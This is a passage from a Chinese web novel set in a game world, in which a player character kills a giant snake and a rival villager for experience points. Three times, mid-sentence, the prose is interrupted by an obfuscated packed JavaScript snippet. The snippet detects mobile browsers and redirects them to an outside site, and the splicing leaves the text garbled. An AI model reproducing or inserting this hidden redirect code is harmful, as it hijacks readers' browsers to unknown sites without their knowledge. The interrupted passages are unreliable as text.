小册子内记录近期熔金城领地内的所有风险来源,包括哪个贵族生病了,哪两家要联姻了,哪里的鸡蛋丰收,哪里的佣兵格外活跃,比起注意事项更像是八卦小报。 雾钟村也囊括在内,尤弥尔没翻几页就看见用血红字体加粗加大的“警告!蓝纹王蛇出没!”字样,骑士团详细记录了王蛇的生活习性,圈出可能的出没范围,提醒居民不要靠近。 详细记录的部分字数太多,正当尤弥尔想要仔细阅读的时候,前方一声惊喜的呼喊:“哈,不愧是我!” “你妹妹的作业本找到了,还给你,”黄昏薄雾朝他眨眨眼,旋即一个薄薄的本子被丢到怀中,“尤弥尔,别忘了我对你的恩情哦。” 如果归还作业本也算恩情的话。 尤弥尔立刻将小册子抛在脑后,只隐约记得蓝纹王蛇“夏季交//配”、“雌性捕猎雄性”、“嗅觉发达”等关键词。 天色已然完全漆黑,他怀抱加嘉莉的作业本,和黄昏薄雾约定好明天一早就去找治安官报案后便匆匆告别。 临走前黄昏薄雾将记录蓝纹王蛇注意事项小册子也塞给他。 “要小心哦,尤弥尔,像我这么存粹的好人不多了,”黄昏薄雾的眼睛吸尽屋内稀薄的月光,“要小心里夫这种充满恶意又只会无能狂怒的废物。” “谢谢你的提醒,我会的注意的。” 夜色渐深,尤弥尔回到家。 黄昏先生说得对,就算他只是个被卷进爱恨漩涡的无辜路人,但里夫可不管这个,说不定会用精神病逻辑强行对他施加憎恨。 他今晚不打算再出门,锁死门窗,姐姐晚上不回家,加嘉莉睡前也叮嘱过不会随意出门。 那么睡前仪式只剩最后一项了。 尤弥尔来到后院,打算给他心爱的植物们套上防护网。 却刚好看见一个鬼鬼祟祟的身影。 熟悉的壮硕,熟悉的咒骂,里夫偷偷翻进尤弥尔家的后院,掐断嫩叶藤,踹掉萝卜坑,摘下饱满圆润几近成熟的葡萄,成串成串丢进背包。 “我让你勾引黄昏,我让你勾引黄昏,贱人,这是惩罚!” “里!夫!”尤弥尔咬牙切齿。 他的南瓜,他的萝卜,和他准备酿酒的葡萄。 汹涌澎湃的怒意直窜头顶。 可恶!这个人的无能狂怒波及到他就算了,为什么还要偷他的菜啊! 4. 第 4 章 饥饿的蓝纹王蛇缓缓游出山脉。 这是一条雌性王蛇。夏天是蓝纹王蛇繁殖的时间,她离开洞穴,和雄性//交//配,在交//配结束的那刻,用尖锐毒牙狠狠咬破对方的皮肤。 蓝纹王蛇不吃死物,以同类为食,注入皮下的是不致命的昏睡毒素,在她因怀孕而沉眠期间,雄性王蛇会成为她的储备粮。 但是一觉醒来,她发现储备粮不见了。 好饿啊,好饿啊。 雌性王蛇循着储备粮的气味下山,她闻到蛇血和人类的气息。夜色掩盖她庞大的身躯,她游荡到雾钟村边缘,在一栋砖红楼房前停下脚步。 嘶嘶……味道最浓…… ……但进不去。 脑海突然闪过一道指令,是神明的谕令,又或者说,是这个游戏世界最基本的规则。 ——没有收到邀请的生物不允许进入玩家的房屋。 王蛇不得已立刻放弃闯入的想法,她没法搅碎砖瓦,没法吃掉里面所有生物了。庞大身躯不甘地围绕黄昏薄雾家转了两圈,最后转到另一个味道稀薄的方向。 ……雄性嘶嘶……楼房的味道……血的味道…… 很近…… 好饿啊。 蛇瞳漾出嗜血冷光,王蛇吐了吐蛇信子,无论附近人类居所携带雄性味道的生物是谁,都要成为她今夜的晚餐。 。 黄昏薄雾邻居的后院,尤弥尔双手叉腰,双颊鼓起,瞪着菜地里的贼。 里夫这个家伙,不仅无缘无故骂他,还跑到他家地里偷菜! 这些可都是他的心血! 尤弥尔气恼地大声叫出里夫的名字,没想到里夫回头阴恻恻冷笑,转手摘下地里最大的南瓜,高高举起,耀武扬威。 “……” 太过分了太过分了!他现在不是一个普通的偷菜贼,而是一个傲慢邪恶自以为是的偷菜贼。 角落堆放许多农具,尤弥尔少有感到由衷的愤怒,他抄起木棍走上前:“折腾我的菜地做什么,我的菜都很贵的,快把我的葡萄萝卜和南瓜还给我!” “呵呵。”里夫双眼通红,露出鲨鱼锯齿般的牙齿,“不还。” “我究竟哪得罪你了?!” “哪得罪我?当然是你这个小贱人不知羞耻,厚脸皮勾引黄昏薄雾。我没去过的房子你进去了,我喜欢的人和你做了。”里夫嗬嗬喘气,“现在知道害怕?晚了!” “……懒得理你!”尤弥尔嘀嘀咕咕,“怎么翻来覆去就是这两句。” 说真的,尤弥尔不是很在意里夫的咒骂,他粗鲁的言行和充满攻击性的举动都可以归结为脑子有病,和脑子有病的人有什么好计较的。 但是在里夫擅自从田地和枝头摘下他心爱的瓜果蔬菜之后,尤弥尔彻底失去了和他沟通的欲望。 木棒指向里夫的鼻尖,尤弥尔打算无论如何都要先揍他一顿出气,再将他扭送治安官。 然而手臂举起之后却没能放下。 轻纱般的黑云遮蔽月亮,高空投射沁水的寒意,整个世界模糊不堪,尤弥尔抬头,刚好望见一双竖瞳。 它不知道什么时候出现在里夫身后的,金色瞳孔按捺不住嗜血的冲动,通体荧光蓝纹如同波澜摇曳,抬起的上半身与人等高,下半长尾被黑暗笼罩,隐约可见盘成数道弯。 ……蓝纹王蛇。 《熔金城近期注意事项》有它的画像。尤弥尔瞬间就想起了,同时鲜血迅速涌上头,因愤怒而通红的漂亮鼻尖失去血色,情绪化成潮水褪去,取而代之是深深的恐惧。 书上说,夏季□□期的王蛇会变得非常饿。 书上还说,细成线的竖瞳是蓝纹王蛇捕猎的前兆。 几乎是在对视的刹那蓝纹王蛇绷紧肌肉,它体长超过五米,但庞大的身躯从来不是行动的累赘,雌性王蛇蓄势待发,张开血盆大口,像只利箭穿来! 这瞬间尤弥尔脑中只有一个念头。 他不能往后跑,加嘉莉还在家里睡觉。 人在极限状态能爆发出超越往日的力量,尤弥尔现在力气大到直接撞破后院栅栏。他逃跑的时候下意识抓住里夫一起,拖着这个比他高比他壮的坏蛋跌跌撞撞往前狂奔,生气归生气,还没有到能眼睁睁看着里夫被蛇咬死的程度。 里夫不明所以,大嗓门:“……你干什么??放开,放开!谁要和你拉拉扯扯的!” “后面,蓝纹王蛇在追我们啊,白痴。” “什么?!!” 里夫这才抽空回头,只一眼就被兽瞳和毒牙吓得连忙转回来。 他到现在都还记挂着黄昏薄雾和尤弥尔之间不清不楚的关系:“放开我,谁、谁要你拉着了,恶心!我自己跑!” ……随便你。 能及时提醒跑路已经是他善良,尤弥尔放开手,书上说蓝纹王蛇的行进速度比人奔跑要快,他连自己存活都不能保证。 雾钟村本就是个没多少人口的小村庄,红砖洋楼又在村子的边缘地带,无人注意到尤弥尔的生死狂奔,他都不知道脖颈后的冰凉究竟是冷汗还是蓝纹王蛇的舔舐,恍惚中一头扎进隔壁院子。 不是黄昏薄雾家,是另一边的院落。 这是栋存在很久的小楼,从有记忆起就荒废了,杂草丛生,墙壁斑驳,和王蛇的影子扭曲纠缠,摇摇欲坠随时有倒塌的风险。 往楼里跑应该比在空旷的地方和王蛇玩追逐战更安全些吧。 尤弥尔的脚步停顿片刻,随之而来是身后里夫用力的推搡:“上去啊,愣着干什么?” 没等他反应,里夫重重把他往身后一拉:“别挡路!” 危机之中人的狠绝被无限放大,尤弥尔措手不及,朝后跌落,眼看就要摔进王蛇猝然长大的血口! 就在这时。 一道强光忽地从天而降,转瞬击中废弃小楼,在楼顶轰然炸开! 强烈的冲击震波无形荡开,尤弥尔倒飞出去,重重砸到墙壁,而后落下。他的意识断片一秒又或者很久,久到意识回归时视野只有一成不变的白光。 “尤弥尔。” 忽远忽近的声音,好像有人在叫他。 “尤弥尔,尤弥尔……” 嗡鸣的耳膜逐渐平静,脸颊传来微凉的触感,尤弥尔反应了好一会,才意识到有人在摸他。 他的声音沙哑:“谁?” “是我啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309995|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼前依旧只能看得见光秃秃的白,尤弥尔眨了眨眼,感觉到有人牵起他的手,引导向上。 他摸到坚硬尖锐的机械造物,隐约是钢铁铸件,引导的人喋喋不休:“摸错了摸错了,尤弥尔,你摸的是我的重弩,要小心,震荡箭很容易爆炸的,就像这栋房子一样,强光之后轰地炸开。” 那人拉着尤弥尔的手游移,这回摸到柔软的凹陷和凸起——是人的五官,面部肌肉耸动。 现在他认出来了:“黄昏……先生?” “回答正确。” 尤弥尔张了张口,他想说这里太危险不是你该来的地方,发现自己的嗓子沙哑得要死,一张嘴还被黄昏薄雾硬灌两口草莓味的不明液体。 “你给我喝的……什么东西?” 说出口才后知后觉,大滴大滴的眼泪划落脸庞,喉咙控制不住起伏,发出小狗般呜呜的哽咽。 “怎么哭了?”黄昏薄雾微微瞪大眼睛,向来从容不迫的玩家找纸巾的样子真的很狼狈,“你哭啥啊?” “我害怕……还不能哭了?”尤弥尔绝望地抽鼻子,“我都差点……被蛇吃了……你要我怎么冷静下来啊……” 说得好像面对蓝纹王蛇当机立断带人逃跑的人不叫尤弥尔一样。 紧绷的神经在碰到熟人之后骤然松懈,于是后怕和疲惫开始肆虐,尤弥尔的脑子很乱,他不知道为什么自己会突然被蓝纹王蛇捕猎,也不知道为什么废弃小楼突然爆炸。 浑身的疼痛也不知道撞断了几根肋骨,还有失明的眼睛能不能恢复,他吸了口气,沾满灰尘的脸颊可见两道清晰泪痕。 “一条蛇你都能怕成这样,”黄昏薄雾盯着这两道泪痕,“尤弥尔,你现在这样好丑啊。” “……现在是关心美丑的时候吗?”尤弥尔今天已经够倒霉的了,不需要再把黄昏先生牵扯进来,“你赶快走吧……我全身好痛,我走不动了,黄昏先生,求求你,帮我联络治安官……” “不用叫治安官,我一个人就可以搞定。” 他似乎嗤笑了声,尤弥尔清晰听见耳边的呼吸:“哎呀哎呀,大晚上的,我可是接到拯救尤弥尔的系统任务就急急忙忙跑出来,毕竟尤弥尔和我可不一样,你实在太脆弱了,随随便便就会死掉。” 黄昏薄雾装作很伤心的口吻:“我那么关心你,结果你还想把我往别的男人怀里推。” “……额。” 恐惧颤栗和绝望等等负面情绪都快被这几句话打断,尤弥尔不明白,明明只是想让黄昏薄雾帮忙叫治安官而已,为什么从他嘴里讲出来这么奇怪? 可是他不敢问,也不敢说。 他只敢小声强调:“……那可是蓝纹王蛇。” “雌性王蛇也就比雄性王蛇等级高一级,安心啦,区区一级而已,又不是第一次越级挑战了。”黄昏薄雾好心情地把尤弥尔揉成大花猫,“我去那头看看。” 说着,他卸下背后重弩,掂量掂量箭筒内震荡箭的数量。 黄昏薄雾最后拍拍尤弥尔的头,轻飘飘地叮嘱:“你就在这安心等着,哪都不能去。” “毕竟,你身上有我的复活点,要是随便离开我会很苦恼的。” 5. 第 5 章 【解锁任务:调查废弃洋楼(限时)】 黄昏薄雾上线的时候,游戏系统自动弹出任务提示。 “搞什么,原来不止一条蛇吗。”他打开任务详细描述,发现更为强壮的雌性王蛇循着味道来到村庄,藏身隔壁的隔壁,静待捕猎。 玩家没有入夜必须睡觉的规定,黄昏薄雾立刻翻窗,他的敏捷属性远高于雾钟村村民,这意味着极快的速度和高灵活性。仅仅呼吸之间他就已经攀上屋顶,抽出武器,将箭尖对准大蛇的行动轨迹。 黄昏薄雾的武器是把重弩,沉重的重,重到升级时多加了两点力量才不至于影响正常行动。填装的震荡箭则是弓箭手职业升到十级学会制作的特殊箭矢,能在发出闪瞎人眼的白光的同时,引发局部小型爆炸。 重弩瞄准废弃洋楼结构的薄弱点。 轰—— 小楼坍塌,掀起阵阵烟尘。 被卷入爆炸的倒霉蛋尤弥尔损失大半管血,头顶挂满“失明”、“骨折”、“脑震荡”等等一系列负面状态,黄昏薄雾扶起他,顺手将治疗药剂灌进他的口腔。 “尤弥尔,你太脆弱了,随随便便就会死掉。”黄昏薄雾爱怜地摸摸他的头,他说,“你就在这里等我,哪都不能去。” 他把人扶到废墟边上,然后绕到尤弥尔视线外的另一边。 很遗憾,倒塌的洋楼和震荡箭的余波没能对雌性王蛇造成致命伤害,只能短暂地困住它一小段时间,它的头压在碎石之下,尾巴暴躁地咣咣往地面砸。黄昏薄雾小心躲开溅起的石头,走到稍远点的位置。 “你这家伙,运气真好啊,”他惊奇地看向被木头压住的里夫,“到现在都没死成。” “黄昏,救……我……” “咦惹你手好脏,别碰我。”黄昏薄雾连忙后退,“救你?为什么?我看上去很像圣人吗?” 圣人是不可能圣人的,玩家就是玩家,道德水平全凭心情。 他蹲下身,摩挲下巴仔细端详里夫的现状,口中嘀嘀咕咕:“建模一般属性拉跨性格不是我的菜,定期上贡的礼物也都是我不需要的垃圾……而且现在肠子都掉出来了,救你很麻烦诶,不值得。” “更何况,”黄昏薄雾下巴高高扬起,“谁允许你用那种态度对待尤弥尔的?” 黑深的瞳孔漾满浓稠恶意,即使如此,鼻梁的黑痣也显得美丽无比。 “重弩我本来都藏好了的,如果不是尤弥尔不喜欢我杀人,白天我就能直接动手杀死你。” 一番话说得里夫眼睛瞪直,死鱼一般,喉咙汩汩冒血:“……不、不是。” “而且,谁允许你说尤弥尔和我做了。” 虽然表面是在微笑,黄昏薄雾心情却极度恶劣:“谁允许的,谁允许你说的?!可恶,我们可是健康积极乐观向上的好游戏。” 强制play听上去就很有趣,但是《晨曦之国》又不是18X游戏,所有过激内容都被一刀切,没有NPC的允许玩家连贴贴亲亲抱抱都做不到,更何况做到像里夫诽谤的那些。 根·本·就·不·可·能。 这破游戏设定真够傻逼的。 如果是他兀自不爽也就罢了,可白天里夫非要当着尤弥尔的面提起,短短几句话简直戳在肺管子上,薄雾黄昏被气得发疯,偏偏还要保持微笑。 “没有自知之明的家伙,你的行为真的很讨厌,但是没关系,朋友,没关系,大人大量的我不跟你计较。” 积攒已久的无能狂怒终于找到机会发泄,黄昏薄雾语调轻快,柔柔地牵动嘴角,手中弩箭下移,“怎么说呢?因为我思考半天,终于找到你仅剩的价值。” “就是变成供我升级的经验值。” 扣动扳机。 ——世界就此清净。 吹过的风带上血腥的气息,里夫最后的呼吸业已停止,刹那间世界寂静无声。 “结果经验条就只往前推进了一点点,距离升到11级还有很远嘛……”黄昏薄雾微微叹息,“果然等级差距太大会影响经验获取率。” “算了,不重要。” 明月高悬,报完仇的黄昏薄雾神清气爽,望向终于挣脱束缚陷入狂暴的雌性王蛇,将手中弩箭对准它的头顶,那个只有玩家能看见的血红字体。 雌性蓝纹王蛇,血量80%。 等级,lv.13。 。 尤弥尔觉得自己好点了。 胸口仿佛被马车碾过的疼痛有所减缓,眼睛朦朦胧胧能看到些虚影,他十分钟前还在怀疑自己是不是要死在这里,现在就能扶着墙——或者说疑似是墙的东西——像个老头子颤颤巍巍站起来。 总不可能是黄昏薄雾那草莓味甜水的功劳吧,肯定不是,哪有这么立竿见影的药。 事情的真相就是。 我的身体素质就是这么棒! 脑子里有的没的想了一堆转头就忘的废话,尤弥尔有点迷糊,就像是吃下没煮熟的蘑菇后产生的幻觉。他扶着墙发呆,认不清方向,只好停下来思考到底往哪走才能找到治安官。 无论是疏散人群,还是派人救援,哪种都好,他完全无法容忍自己留在原地,坐视自称柔弱的黄昏薄雾,真的去和一条一顿能吃掉三个他的大蛇搏斗。 可是行动起来身体还是好痛啊…… 依照脑海里对村庄的印象,尤弥尔大口喘息,慢慢转向大路的方向,往前迈出一步。 然后。砰。 撞到一堵墙。 ……等等,刚刚这里有墙吗? 柔软的,散发着温度的墙,忽然出现在不该出现的地方。尤弥尔迟疑,伸出手摸了一把,粘稠的液体立刻糊得满手都是,血腥气争先恐后往鼻腔里钻。 头顶比血更粘稠的声音:“尤弥尔,不是说好在原地等我的吗?” 尤弥尔一时卡顿,不确定地问:“黄昏先生?” “嗯哼,是我。” 尤弥尔:“……” 怎么回事?他从哪里冒出来的?他不是离开了吗?我怎么一点声音都没听见?我到底是瞎了还是聋了??? 即使一句话没说,黄昏薄雾也似乎看出他的凌乱,他轻轻笑出声:“都告诉过你我把复活点放你身上了啊。” 游戏就是这么设定的,要么回床上复活,要么在设定好的固定点位复活。固定点可以是某个人,也可以是某个物品,具体形象不重要。 其实他这句解释纯属多余,因为尤弥尔很快被自己的手吸引全部注意力,那只手刚刚在黄昏薄雾胸前摸过,却只摸到大片流淌的鲜血。 “你受伤了?你真的去找王蛇了?等下我马上去叫医生。”尤弥尔紧张地问。 可是那样严重的出血量,就算叫来医生,估计也没用了。 尤弥尔咬紧下唇,转身就想走,然而一股巨大且不容忽视的力量将他的肩膀掰回,血腥气息扑面而来,尤弥尔意识到他和黄昏薄雾的距离骤然拉近。 “你别着急嘛,我很健康啊,满血满状态,”他听见黄昏薄雾的声音,“不信你摸摸,我的身体可一点伤口都没有。” “真的?” “你来试试呗。” 那看来是没事了。 尤弥尔松了口气:“那你身上这么多血是从哪来的啊?” “你猜。” 黄昏薄雾歪了歪头,他全身都像是从鲜血里拎出来一样,这是《晨曦之国》又一个令人诟病的地方,玩家倒是满状态复活,衣服却还维持在战斗状态,湿哒哒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309996|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾满自己的血。 可是总不能放任活蹦乱跳的王蛇,自己去洗澡吧。他抓起尤弥尔的手往脸上贴,布满血污的脸披上朦胧月光,显得妖异而又美丽。 “猜不中就不要想啦,尤弥尔,你站在这里等我,别动哦,从你这走更方便点。” “你又要走了吗?” 黄昏迷雾没有给出任何回应,他抽走自己的手,摆摆手没有做声,再次将空旷的街道留给孤单的小瞎子。 一分钟后,尤弥尔意识到黄昏薄雾真的离开了。 他动不敢动,咬紧牙关,在找治安官和等待黄昏薄雾之间纠结。 三分钟后,原地转圈的尤弥尔再次撞上一堵熟悉的墙。 尤弥尔:“……” 黄昏薄雾:“……” “……呵呵,跨级战斗比较难嘛,多打几次很正常的!” 听不懂的尤弥尔:“你说什么?” 黄昏薄雾:“什么都没说,我先走了。” 十分钟后。 尤弥尔和黄昏薄雾第三次相撞。 尤弥尔:“黄昏先生……” 黄昏薄雾:“别说话,我走了。” 十五分钟后。 尤弥尔:“黄……” 黄昏薄雾:“走了。” 二十分钟后。 第五次撞上温热的人体墙壁,尤弥尔忍无可忍,黄昏先生到底在干嘛啊,以他为圆心散步吗? 他很严肃:“请你停下来黄昏薄雾,去找治安官,立刻,马上,我们两个一起。” 然而这次一个略显陌生的男音响起,语气充满疑惑:“啊?我就是治安官啊。” “……”好尴尬。 尤弥尔意识到自己对声音不是很敏感,干巴巴道,“认错人了,对不起。” “没关系,”治安官很无奈,他看出尤弥尔的眼睛有问题,提醒道,“而且你看错方向了,我在这里。” “……哦,对不起。” 好没营养的对话。 按照治安官的说法,他刚接到通知,得知洋楼居民区这一带发生爆炸后便立刻赶来,尤弥尔告诉他蓝纹王蛇袭击的事,还有黄昏薄雾,刚刚还在身边现在却不知道跑到哪里去了。 “黄昏薄雾?”治安官被这个名字吸引,“你说你刚刚和他在一起?什么时候?” 人们总是第一时间将注意力放在黄昏薄雾身上,尤弥尔已经习惯了,他说:“五分钟前见过一次,十分钟前也见过。” 他艰难补充:“还有二十分钟前……大概。” “你们见面做什么?” “他救了我,关心我的伤势,”尤弥耳沉默片刻,“也许还有散步吧。” “那现在尤弥尔在和谁说话呢?” 声音从侧后方传来,尤弥尔觉得这个问题有点蠢,他当然是在和你说话啊,这里又没有别人。 然而腹诽归腹诽,他还是开口:“治安官先生,黄昏薄雾先生是很重要,但蓝纹王蛇是不是也该关心一下……” “王蛇,在这里哦。” 不知何时黄昏薄雾出现在身边,把一个淌血的死不瞑目的蛇头压在他头顶,尤弥尔只觉得脑袋被重重压制,侧后方冰冷的气息猝然靠近,激得后颈寒毛竖立。 那个声音满是抱怨:“尤弥尔怎么能叫我治安官呢?把我认成别的男人我会很伤心的。” 所以。 他后知后觉。 那个有点蠢的问题是黄昏薄雾问的。 场面一度寂静,尤弥尔卡壳半天,像是一只行动迟缓了无数倍的树懒,木着脸:“……对不起。” 比认错人更尴尬的,是连续两次认错人, 呜,他的失明到底什么时候才能好啊。 6. 第 6 章 事实上,比恢复视力来得更快的是晕厥。 血滴滴答答沿发丝落下,意识到头顶沉重的那玩意是王蛇脑袋之后,尤弥尔尖叫都没来得及脱口,就不受控制滑向黄昏薄雾的怀抱,眼白一翻,彻底晕倒在地。 意识坠入无尽绵长的深渊。 甜美而又温暖的黑暗像是无形生长的蛛网包裹住他,他在下坠,下坠,最终撞碎幽深不见底的清潭,被惊扰的萤火在眼前亮了起来。 等到尤弥尔再次醒来,眼伤已经恢复,目及之处是熟悉的卧室,窗户半开,绚烂热烈的朝霞晕染半边天空。 天亮了。 ……好丢人啊。 尤弥尔捂住脸,在黄昏先生和治安官面前因为脱力而昏厥,不管怎么想都是一种菜鸡的表现。 “一觉睡到天亮,也太没心没肺了,”丢人的尤弥尔不愿面对现实,闭上眼睛,自言自语小声道,“而且我连自己怎么回来的都不知道。” 宁静的风吹过,此时头顶突然传来冰冷的呼吸:“不是一觉睡到天亮,而是睡了一天一夜外加六个小时哦。” 寂静片刻。 “啊啊啊!!!” 谁懂一觉醒来发现卧室出现不明生物的惊悚感。 没能交代给蛇头的尖叫声交代在这了,尤弥尔吓得猛地坐直身体,僵硬回头。 角落阴影仿佛有团缠绕的海草,黄昏薄雾就趴在床头极近的距离,一副邀功的表情:“是我带你回来的啊,尤弥尔。你比纸片还轻,轻轻松松就背回来了。” 尤弥尔有点崩溃:“那是重点吗?!” “不是吗?” “当然不是!”尤弥尔不可置信地看向他,“重点是你为什么会出现在我房间啊?” “嗯?因为加嘉莉给我开门了啊,”黄昏薄雾眨眨眼,“你这么菜,随便一吓就晕过去,我当然得多看着你。” “尤弥尔,你的胆子好小。” 尤弥尔:“……” 谁、谁胆子小了! 胡说八道,简直是胡说八道。 尤弥尔一时失语,他都不知道是该教育人小鬼大的加嘉莉不要给陌生人开门,还是请求好像和他过分亲近实际却没有的黄昏薄雾给他留点个人隐私。 他只能紧抿嘴唇,看着没有明显边界感的黄昏薄雾,在他房间里翻来覆去,左右踱步,像在寻找什么。 “黄昏先生,你在找什么东西吗?” “在找任务奖励。”黄昏薄雾回答。 任务面板那一项【调查废弃洋楼】已经被划掉了,详情里记录着“我们目击雌性蓝纹王蛇在废弃洋楼追击尤弥尔和里夫,我们杀死了蓝纹王蛇和里夫,任务完成!”的字样。 《晨曦之国》对完成任务的方式没有设下任何限制,就拿【调查废弃洋楼】举例来说,杀死雌性蓝纹王蛇、为雌性王蛇提供食物、将洋楼异动上报治安官、当着王蛇的面砸碎蓝纹王蛇卵、屠村、模仿某个包头巾男子吹笛子……等等都能算是完成任务,自由度之高,非常考验玩家的想象力。 同样,游戏对玩家的善恶也没有限制,玩家可以选择恪守信条当一个纯善的好人,或是烧杀抢掠无恶不作的坏人,又或是随心所欲亦正亦邪的冒险者。只是有的完成方式可能会引发严重的连锁反应,比如当着王蛇的面砸碎蛇蛋会引来王蛇的报复,屠村会成为骑士团的通缉对象。 总之,按照完成任务方式的难易程度所能得到的奖励也不一样,在蛇首分离的那一刻,黄昏薄雾眼前弹出对话框。 【恭喜玩家黄昏薄雾507 完成任务,获得奖励:经验值2000点,金币500枚,一次性魔法卷轴x1。】 2000点经验能让经验条往前窜一大格,500枚金币相当于普通npc三口之家一年的收入,但相比于他杀死蓝纹王蛇的功绩—— “太少了太少了,”黄昏薄雾在卧室内走来走去,“忙活半天连件装备都不给我,亏我死了那么多次。” 死? 尤弥尔的眼神充满担忧,他想到黄昏薄雾的浑身鲜血,立刻忘记被登堂入室的惊吓:“黄昏先生,我很担心你的身体,要不我们还是找医生看看吧。” “好开心啊,亲爱的尤弥尔一定是在关心我。”黄昏薄雾感动,黄昏薄雾拒绝,“但是我不要,有找医生的时间我都满血复活了。” 黄昏薄雾凑过来,极致的美貌让高挑的男人也显得楚楚动人,像只只在有求于人的时候才会可怜巴巴的缅因猫:“你要真担心我的话,就告诉我你房间的宝箱藏在哪里了吧。” “……宝箱是什么?” “就是装着有价值东西的箱子。” “哦。”完全不理解。 尤弥尔叹了口气,他的卧室哪来什么有价值的东西,黄昏先生是不是搞错了。 但即使如此,他还是起身下床,和黄昏薄雾一起在房间内翻找,即使他根本不知道要找什么。 五分钟后。 “找到了!” 黄昏薄雾惊喜地从花盆背后拖出一个鞋盒大的小木箱,方方正正,略显陈旧。尤弥尔都记不清这是什么时候放进他房间的箱子,只是觉得有些眼熟。 嘴唇上下动了动,还没来得及说话,就见黄昏薄雾眼疾手快撬开箱子上的锁,盖子上翻。 啊,想起来了。 他的姐姐,雾钟村酒馆主人,玛丽琳,孔武健壮,豪爽大方,如果一定要说有什么缺点—— 黄昏薄雾从木箱中取出一双做工粗糙、颜色斑驳、全是补丁、两只尺码大小不一的牛皮短靴。 ——就是她的手工实在是太烂了! 这双鞋是玛丽琳今年送给尤弥尔的新年礼物,难穿到尤弥尔花了十分钟勉强把自己的脚塞进去,再花了十分钟连摔三跤后,他终于忍痛把鞋子束之高阁。 【 名称:尖叫奔跑之靴 类型:鞋子 品质:优秀 特效:奔跑速度提升20%,隐蔽概率降低20% 说明:饱含玛丽琳爱意的靴子,不知为何,人们总是忍不住将视线落在上面。 】 鞋子勾在指尖晃了晃,黄昏薄雾语气笃定道:“尤弥尔,这双鞋子就送给我吧。” “啊?”尤弥尔呆呆的。 “啊什么啊?你不愿意吗,我会伤心的。” “不是……” 姐姐的心意固然可贵,但黄昏先生的审美也不逞多让。 “真的不能换一个吗?” 黄昏薄雾很倔:“不能呀尤弥尔,明明装备就在眼前,玩家怎么可能忍住不点拾取。” 黄昏薄雾顿了顿,勉强退让一步:“不过如果你真的很宝贝它的话,我用别的东西和你换也可以……” 除了自己,黄昏薄雾也能看见NPC的属性。他凝视着尤弥尔,心念一动,一个半透明的游戏框便浮现在尤弥尔的头顶上方。 【 姓名:尤弥尔 等级:3(满级30) 当前职业:农夫 力量:1(和鹅相当) 体质:2(比普通人强,但不是“硬汉”) 敏捷:0(普通人水平) 智慧:0(普通人水平) 魅力:10(大部分人都喜欢) 幸运:10(小保底从不歪) (每项满值30) 】 太脆弱了,尤弥尔,你实在太脆弱了。 这是一个充斥着魔法怪物和神明的世界,区区一个普通人,即使有自己盯着,说不定也会在不知不觉中死掉。 黄昏薄雾不想看见这样的结果,他思考片刻,从兜里掏出一个半个巴掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309997|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的墨绿色肉球,沉痛地表示:“这可是我的战利品……现在都归你了!尤弥尔,我要看着你吃下去!” 【 名称:雌性蓝纹王蛇蛇胆 类别:消耗品 效果:食用后体质+1,效果不可叠加 】 尤弥尔都没看清这是什么,就被突然暴起的黄昏薄雾按住嘴巴,动作强硬又温柔,不容抗拒却没对他造成任何伤害。 “这什么东西……唔唔唔咳咳,水!给我水!” 吃进去了。 不知道什么玩意的肉球吃下肚了。 尤弥尔被肉球噎得翻白眼,肉质挤压后腥臭的气味从胃袋蔓延至喉咙,他赶忙用柠檬水的清香压下,食用后身体暖洋洋的感觉也被咽喉的不适感掩盖。 “你给我吃了什么啊?” 黄昏薄雾不知为何心满意足,笑得很开心:“是好东西哦。” 尤弥尔:“……” ……算了,黄昏先生总之不会害他就行。 尤弥尔甩了甩脑袋,他是很感激黄昏薄雾在前天半夜出现,虽然蓝纹王蛇大概不是他杀的吧……他只是猜测,毕竟黄昏薄雾一直在他身边打转,仿佛从没离开过。 但不管蓝纹王蛇是否死在黄昏薄雾手中,可以肯定的是,他救了他的命。 【尤弥尔 对玩家黄昏薄雾507的好感度 +5】 “啊——”听见系统提示,黄昏薄雾惊得立马回头,死水一般的瞳孔微微睁大,“我就知道尤弥尔最喜欢我了!果然给你吃好东西,再杀掉那些碍事的虫豸我们的关系就会飞度发展!” 那很好了。 “杀掉?杀掉谁了?”尤弥尔顿时想起里夫,黄昏薄雾也曾用虫豸形容里夫,“里夫他怎么样了?你见过他吗?” 【尤弥尔 对玩家黄昏薄雾507的好感度 -1】 那很坏了。 黄昏薄雾立刻假装身体不适,倒在尤弥尔的床上用被子蒙住头:“不行我的头头好晕,咳咳、咳咳……一定是前天被王蛇揍的伤还没好,我真的好柔弱啊。” 